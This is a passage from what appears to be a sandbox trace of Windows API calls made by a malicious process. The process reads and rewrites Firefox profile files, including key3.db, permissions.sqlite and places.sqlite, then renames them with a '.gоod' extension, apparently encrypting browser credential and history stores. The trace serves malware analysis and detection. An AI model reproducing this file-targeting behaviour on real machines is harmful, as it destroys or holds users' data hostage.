ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb81085d6, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4000)) returned 1 [0269.544] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204eb900) returned 1 [0269.544] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\key3.db", nBufferLength=0x105, lpBuffer=0x204eb320, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\key3.db", lpFilePart=0x0) returned 0x51 [0269.544] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204eb840) returned 1 [0269.544] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\key3.db" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\key3.db"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x85c [0269.544] GetFileType (hFile=0x85c) returned 0x1 [0269.544] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204eb7b0) returned 1 [0269.544] GetFileType (hFile=0x85c) returned 0x1 [0269.544] SetFilePointer (in: hFile=0x85c, lDistanceToMove=4096, lpDistanceToMoveHigh=0x204eb998*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x204eb998*=0) returned 0x1000 [0269.544] ReadFile (in: hFile=0x85c, lpBuffer=0x38492e0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x204eb968, lpOverlapped=0x0 | out: lpBuffer=0x38492e0*, lpNumberOfBytesRead=0x204eb968*=0x1000, lpOverlapped=0x0) returned 1 [0269.545] CloseHandle (hObject=0x85c) returned 1 [0269.545] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\key3.db", nBufferLength=0x105, lpBuffer=0x204eb320, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\key3.db", lpFilePart=0x0) returned 0x51 [0269.545] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204eb840) returned 1 [0269.545] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\key3.db" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\key3.db"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x85c [0269.545] GetFileType (hFile=0x85c) returned 0x1 [0269.545] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204eb7b0) returned 1 [0269.545] GetFileType (hFile=0x85c) returned 0x1 [0269.545] SetFilePointer (in: hFile=0x85c, lDistanceToMove=0, lpDistanceToMoveHigh=0x204eb998*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x204eb998*=0) returned 0x4000 [0269.545] WriteFile (in: hFile=0x85c, lpBuffer=0x384a740*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x204eb888, lpOverlapped=0x0 | out: lpBuffer=0x384a740*, lpNumberOfBytesWritten=0x204eb888*=0x10, lpOverlapped=0x0) returned 1 [0269.546] CloseHandle (hObject=0x85c) returned 1 [0269.546] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\key3.db", nBufferLength=0x105, lpBuffer=0x204eb320, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\key3.db", lpFilePart=0x0) returned 0x51 [0269.546] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204eb840) returned 1 [0269.546] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\key3.db" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\key3.db"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x85c [0269.546] GetFileType (hFile=0x85c) returned 0x1 [0269.546] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204eb7b0) returned 1 [0269.546] GetFileType (hFile=0x85c) returned 0x1 [0269.546] ReadFile (in: hFile=0x85c, lpBuffer=0x384ca08, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x204eb918, lpOverlapped=0x0 | out: lpBuffer=0x384ca08*, lpNumberOfBytesRead=0x204eb918*=0x1000, lpOverlapped=0x0) returned 1 [0269.839] CloseHandle (hObject=0x85c) returned 1 [0269.839] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\key3.db", nBufferLength=0x105, lpBuffer=0x204eb320, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\key3.db", lpFilePart=0x0) returned 0x51 [0269.839] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204eb840) returned 1 [0269.839] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\key3.db" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\key3.db"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x85c [0269.839] GetFileType (hFile=0x85c) returned 0x1 [0269.839] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204eb7b0) returned 1 [0269.839] GetFileType (hFile=0x85c) returned 0x1 [0269.839] WriteFile (in: hFile=0x85c, lpBuffer=0x376aa30*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x204eb9c8, lpOverlapped=0x0 | out: lpBuffer=0x376aa30*, lpNumberOfBytesWritten=0x204eb9c8*=0x1010, lpOverlapped=0x0) returned 1 [0269.840] CloseHandle (hObject=0x85c) returned 1 [0269.840] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\key3.db", nBufferLength=0x105, lpBuffer=0x204eb470, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\key3.db", lpFilePart=0x0) returned 0x51 [0269.840] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\key3.db.gоod", nBufferLength=0x105, lpBuffer=0x204eb470, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\key3.db.gоod", lpFilePart=0x0) returned 0x56 [0269.840] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204eb900) returned 1 [0269.840] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\key3.db" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\key3.db"), fInfoLevelId=0x0, lpFileInformation=0x204eb9e0 | out: lpFileInformation=0x204eb9e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe6922fa, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfe6922fa, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x9d0c7aa4, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x4010)) returned 1 [0269.840] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204eb8c0) returned 1 [0269.840] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\key3.db" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\key3.db"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\key3.db.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\key3.db.gоod")) returned 1 [0269.841] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\permissions.sqlite", nBufferLength=0x105, lpBuffer=0x204eb470, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\permissions.sqlite", lpFilePart=0x0) returned 0x5c [0269.841] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204eb940) returned 1 [0269.841] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\permissions.sqlite" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\permissions.sqlite"), fInfoLevelId=0x0, lpFileInformation=0x38aa050 | out: lpFileInformation=0x38aa050*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd67a0d8, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfd67a0d8, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xfd7d1832, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x18000)) returned 1 [0269.841] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204eb900) returned 1 [0269.841] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\permissions.sqlite", nBufferLength=0x105, lpBuffer=0x204eb320, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\permissions.sqlite", lpFilePart=0x0) returned 0x5c [0269.841] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204eb840) returned 1 [0269.841] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\permissions.sqlite" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\permissions.sqlite"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x85c [0269.841] GetFileType (hFile=0x85c) returned 0x1 [0269.842] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204eb7b0) returned 1 [0269.842] GetFileType (hFile=0x85c) returned 0x1 [0269.842] SetFilePointer (in: hFile=0x85c, lDistanceToMove=4096, lpDistanceToMoveHigh=0x204eb998*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x204eb998*=0) returned 0x1000 [0269.842] ReadFile (in: hFile=0x85c, lpBuffer=0x38aa4d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x204eb968, lpOverlapped=0x0 | out: lpBuffer=0x38aa4d8*, lpNumberOfBytesRead=0x204eb968*=0x1000, lpOverlapped=0x0) returned 1 [0269.843] CloseHandle (hObject=0x85c) returned 1 [0269.843] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\permissions.sqlite", nBufferLength=0x105, lpBuffer=0x204eb320, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\permissions.sqlite", lpFilePart=0x0) returned 0x5c [0269.843] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204eb840) returned 1 [0269.843] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\permissions.sqlite" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\permissions.sqlite"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x85c [0269.843] GetFileType (hFile=0x85c) returned 0x1 [0269.843] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204eb7b0) returned 1 [0269.843] GetFileType (hFile=0x85c) returned 0x1 [0269.843] SetFilePointer (in: hFile=0x85c, lDistanceToMove=0, lpDistanceToMoveHigh=0x204eb998*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x204eb998*=0) returned 0x18000 [0269.843] WriteFile (in: hFile=0x85c, lpBuffer=0x38ad508*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x204eb888, lpOverlapped=0x0 | out: lpBuffer=0x38ad508*, lpNumberOfBytesWritten=0x204eb888*=0x10, lpOverlapped=0x0) returned 1 [0269.843] CloseHandle (hObject=0x85c) returned 1 [0269.843] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\permissions.sqlite", nBufferLength=0x105, lpBuffer=0x204eb320, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\permissions.sqlite", lpFilePart=0x0) returned 0x5c [0269.844] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204eb840) returned 1 [0269.844] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\permissions.sqlite" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\permissions.sqlite"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x85c [0269.844] GetFileType (hFile=0x85c) returned 0x1 [0269.844] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204eb7b0) returned 1 [0269.844] GetFileType (hFile=0x85c) returned 0x1 [0269.844] ReadFile (in: hFile=0x85c, lpBuffer=0x38af800, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x204eb918, lpOverlapped=0x0 | out: lpBuffer=0x38af800*, lpNumberOfBytesRead=0x204eb918*=0x1000, lpOverlapped=0x0) returned 1 [0272.469] CloseHandle (hObject=0x85c) returned 1 [0272.469] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\permissions.sqlite", nBufferLength=0x105, lpBuffer=0x204eb320, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\permissions.sqlite", lpFilePart=0x0) returned 0x5c [0272.470] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204eb840) returned 1 [0272.470] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\permissions.sqlite" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\permissions.sqlite"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x85c [0272.470] GetFileType (hFile=0x85c) returned 0x1 [0272.470] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204eb7b0) returned 1 [0272.470] GetFileType (hFile=0x85c) returned 0x1 [0272.470] WriteFile (in: hFile=0x85c, lpBuffer=0x376de10*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x204eb9c8, lpOverlapped=0x0 | out: lpBuffer=0x376de10*, lpNumberOfBytesWritten=0x204eb9c8*=0x1010, lpOverlapped=0x0) returned 1 [0272.470] CloseHandle (hObject=0x85c) returned 1 [0272.470] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\permissions.sqlite", nBufferLength=0x105, lpBuffer=0x204eb470, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\permissions.sqlite", lpFilePart=0x0) returned 0x5c [0272.470] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\permissions.sqlite.gоod", nBufferLength=0x105, lpBuffer=0x204eb470, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\permissions.sqlite.gоod", lpFilePart=0x0) returned 0x61 [0272.470] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204eb900) returned 1 [0272.470] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\permissions.sqlite" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\permissions.sqlite"), fInfoLevelId=0x0, lpFileInformation=0x204eb9e0 | out: lpFileInformation=0x204eb9e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd67a0d8, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfd67a0d8, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x9e9dc3bd, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x18010)) returned 1 [0272.470] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204eb8c0) returned 1 [0272.470] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\permissions.sqlite" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\permissions.sqlite"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\permissions.sqlite.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\permissions.sqlite.gоod")) returned 1 [0272.471] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\places.sqlite", nBufferLength=0x105, lpBuffer=0x204eb470, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\places.sqlite", lpFilePart=0x0) returned 0x57 [0272.471] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204eb940) returned 1 [0272.471] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\places.sqlite" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\places.sqlite"), fInfoLevelId=0x0, lpFileInformation=0x396b5f8 | out: lpFileInformation=0x396b5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfdd54ecc, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfdd54ecc, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x42fefdeb, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x500000)) returned 1 [0272.471] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204eb900) returned 1 [0272.471] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\places.sqlite", nBufferLength=0x105, lpBuffer=0x204eb320, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\places.sqlite", lpFilePart=0x0) returned 0x57 [0272.471] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204eb840) returned 1 [0272.472] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\places.sqlite" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\places.sqlite"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x85c [0272.472] GetFileType (hFile=0x85c) returned 0x1 [0272.472] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204eb7b0) returned 1 [0272.472] GetFileType (hFile=0x85c) returned 0x1 [0272.472] SetFilePointer (in: hFile=0x85c, lDistanceToMove=4096, lpDistanceToMoveHigh=0x204eb998*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x204eb998*=0) returned 0x1000 [0272.472] ReadFile (in: hFile=0x85c, lpBuffer=0x396ba50, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x204eb968, lpOverlapped=0x0 | out: lpBuffer=0x396ba50*, lpNumberOfBytesRead=0x204eb968*=0x1000, lpOverlapped=0x0) returned 1 [0272.474] CloseHandle (hObject=0x85c) returned 1 [0272.474] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\places.sqlite", nBufferLength=0x105, lpBuffer=0x204eb320, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\places.sqlite", lpFilePart=0x0) returned 0x57 [0272.474] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204eb840) returned 1 [0272.474] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\places.sqlite" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\places.sqlite"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x85c [0272.474] GetFileType (hFile=0x85c) returned 0x1 [0272.474] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204eb7b0) returned 1 [0272.474] GetFileType (hFile=0x85c) returned 0x1 [0272.474] SetFilePointer (in: hFile=0x85c, lDistanceToMove=0, lpDistanceToMoveHigh=0x204eb998*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x204eb998*=0) returned 0x500000 [0272.474] WriteFile (hFile=0x85c, lpBuffer=0x396e430, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x204eb888, lpOverlapped=0x0) Thread: id = 238 os_tid = 0xcd8 [0211.468] CoGetContextToken (in: pToken=0x205eef50 | out: pToken=0x205eef50) returned 0x0 [0211.468] IUnknown:QueryInterface (in: This=0x12e64d0, riid=0x7ff9122eadf8*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x205eef88 | out: ppvObject=0x205eef88*=0x12e64e8) returned 0x0 [0211.469] IComThreadingInfo:GetCurrentThreadType (in: This=0x12e64e8, pThreadType=0x205eeff8 | out: pThreadType=0x205eeff8*=0) returned 0x0 [0211.469] IUnknown:Release (This=0x12e64e8) returned 0x0 Thread: id = 239 os_tid = 0xf38 [0196.321] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0196.544] CoGetContextToken (in: pToken=0x206eeee0 | out: pToken=0x206eeee0) returned 0x0 [0196.544] IUnknown:QueryInterface (in: This=0x12e64d0, riid=0x7ff9122eadf8*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x206eef18 | out: ppvObject=0x206eef18*=0x12e64e8) returned 0x0 [0196.544] IComThreadingInfo:GetCurrentThreadType (in: This=0x12e64e8, pThreadType=0x206eef88 | out: pThreadType=0x206eef88*=0) returned 0x0 [0196.544] IUnknown:Release (This=0x12e64e8) returned 0x0 [0196.544] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x1 [0196.544] CoUninitialize () [0196.544] RoInitialize () returned 0x1 [0196.544] RoUninitialize () returned 0x0 [0196.546] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ee050) returned 1 [0196.546] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\CrashReports", nBufferLength=0x105, lpBuffer=0x206edaf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\CrashReports", lpFilePart=0x0) returned 0x31 [0196.546] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\CrashReports\\*", lpFindFileData=0x206edd70 | out: lpFindFileData=0x206edd70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xadb6a93, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0xadb6a93, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0xadb6a93, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ecdcac0 [0196.547] FindNextFileW (in: hFindFile=0x1ecdcac0, lpFindFileData=0x206edd30 | out: lpFindFileData=0x206edd30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xadb6a93, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0xadb6a93, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0xadb6a93, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0196.547] FindNextFileW (in: hFindFile=0x1ecdcac0, lpFindFileData=0x206edd30 | out: lpFindFileData=0x206edd30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xadb6a93, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0xadb6a93, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0xadb6a93, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0196.547] FindClose (in: hFindFile=0x1ecdcac0 | out: hFindFile=0x1ecdcac0) returned 1 [0196.547] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206edf90) returned 1 [0196.547] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206edf50) returned 1 [0196.547] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ee050) returned 1 [0196.547] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\CrashReports", nBufferLength=0x105, lpBuffer=0x206edaf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\CrashReports", lpFilePart=0x0) returned 0x31 [0196.547] FindFirstFileW (in: 